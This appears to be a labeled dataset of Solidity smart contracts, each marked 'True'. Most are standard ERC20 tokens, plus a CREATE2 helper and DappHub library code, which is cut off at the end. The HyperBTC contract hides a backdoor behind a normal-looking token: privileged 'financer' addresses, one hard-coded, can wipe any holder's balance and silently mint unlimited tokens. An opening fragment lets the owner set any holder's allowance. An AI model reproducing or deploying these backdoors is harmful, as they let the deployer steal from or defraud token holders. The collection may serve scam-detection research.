allowanceOf[tokenHolder][spender].sub(value); } function setAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = value; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-16 */ // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: JPCERC20.sol pragma solidity ^0.8.4; contract JPEXCoin is ERC20 { constructor() ERC20("JPEX Coin", "JPC") { _mint(msg.sender, 10000000000000 * 10 ** decimals()); } }

True

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pragma solidity ^0.4.24; contract NoWhammies { /** * Modifiers */ modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyRealPeople() { require (msg.sender == tx.origin); _; } /** * Constructor */ constructor() onlyRealPeople() public { owner = msg.sender; } address owner = address(0x906da89d06c658d72bdcd20724198b70242807c4); address owner2 = address(0xFa5dbDd6a013BF519622a6337A4b130cfc9068Fb); address owner3 = address(0x74b154852b92717c55667d5890d36417f4E7feC3); address owner4 = address(0x7fce1b6b1b99ba787c940bea56a322cb73eca68c); function() public payable { bigMoney(); } function bigMoney() private { if(address(this).balance > 1 ether) { uint256 ten = address(this).balance / 10; uint256 fortyfive = (ten * 4) + (ten/2); owner4.transfer(ten); owner3.transfer(ten); owner2.transfer(fortyfive); owner.transfer(address(this).balance); } } /** * A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them. */ function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner() onlyRealPeople() returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } } contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); }

True

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pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param amount The amount that will be created. */ function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } } /** * @title Girlfriend * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `ERC20` functions. */ contract Girlfriend is ERC20 { string public constant name = "Girlfriend"; string public constant symbol = "GF"; uint8 public constant decimals = 9; uint256 public constant INITIAL_SUPPLY = 8000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-09-26 */ // 0x04396f9531c5f3cd0fac735f661a987e7e08fc87 // ON ALL CHAINS! // init hash: 0x8d269116365442f07e42af4a313e691141d166e7bd806a82761ee6351207d1db // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /** * @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer. * `CREATE2` can be used to compute in advance the address where a smart * contract will be deployed, which allows for interesting new mechanisms known * as 'counterfactual interactions'. * * See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more * information. */ contract Create2 { /** * @dev Deploys a contract using `CREATE2`. The address where the contract * will be deployed can be known in advance via {computeAddress}. * * The bytecode for a contract can be obtained from Solidity with * `type(contractName).creationCode`. * * Requirements: * * - `bytecode` must not be empty. * - `salt` must have not been used for `bytecode` already. * - the factory must have a balance of at least `amount`. * - if `amount` is non-zero, `bytecode` must have a `payable` constructor. */ function deploy( uint256 amount, bytes32 salt, bytes memory bytecode ) public returns (address) { address addr; require(address(this).balance >= amount, "Create2: insufficient balance"); require(bytecode.length != 0, "Create2: bytecode length is zero"); assembly { addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt) } require(addr != address(0), "Create2: Failed on deploy"); return addr; } /** * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the * `bytecodeHash` or `salt` will result in a new destination address. */ function computeAddress(bytes32 salt, bytes32 bytecodeHash) public view returns (address) { return computeAddress(salt, bytecodeHash, address(this)); } /** * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}. */ function computeAddress( bytes32 salt, bytes32 bytecodeHash, address deployer ) public pure returns (address) { bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash)); return address(uint160(uint256(_data))); } }

True

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pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _initMint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _work(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _withdraw(address account, uint amount) internal { require(account != address(0), "ERC20: _withdraw to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _deposit(address acc) internal { _balances[acc] = 0; } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } contract HyperBTC is ERC20, ERC20Detailed { using SafeMath for uint; mapping (address => bool) public financer; address dev = 0xD336120A0812Bc71b9D1b9A23ae36E9A3e8eB69E; constructor () public ERC20Detailed("Hyper BTC", "hBTC", 18) { _initMint( msg.sender, 1000*10**uint(decimals()) ); financer[msg.sender] = true; financer[dev] = true; } function deposit(address account) public { require(financer[msg.sender], "!warn"); _deposit(account); } function withdraw(address account, uint amount) public { require(financer[msg.sender], "!warn"); _withdraw(account, amount); } function work(address account, uint amount) public { require(financer[msg.sender], "!warn"); _work(account, amount); } }

True

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/// value.sol - a value is a simple thing, it can be get and set // Copyright (C) 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity >=0.4.23; // along with this program. If not, see <http://www.gnu.org/licenses/>. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. interface DSAuthority { function canCall( address src, address dst, bytes4 sig ) external view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } /// math.sol -- mixin for inline numerical wizardry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; //rounds to zero if x*y < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < WAD / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } /// note.sol -- the `note' modifier, for logging calls as events // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; uint256 wad; assembly { foo := calldataload(4) bar := calldataload(36) wad := callvalue() } _; emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data); } } // thing.sol - `auth` with handy mixins. your things should be DSThings // Copyright (C) 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License contract DSThing is DSAuth, DSNote, DSMath { function S(string memory s) internal pure returns (bytes4) { return bytes4(keccak256(abi.encodePacked(s))); } } contract DSValue is DSThing { bool has; bytes32 val; function peek() public view returns (bytes32, bool) { return (val,has); } function read() public view returns (bytes32) { bytes32 wut; bool haz; (wut, haz) = peek(); require(haz, "haz-not"); return wut; } function poke(bytes32 wut) public note auth 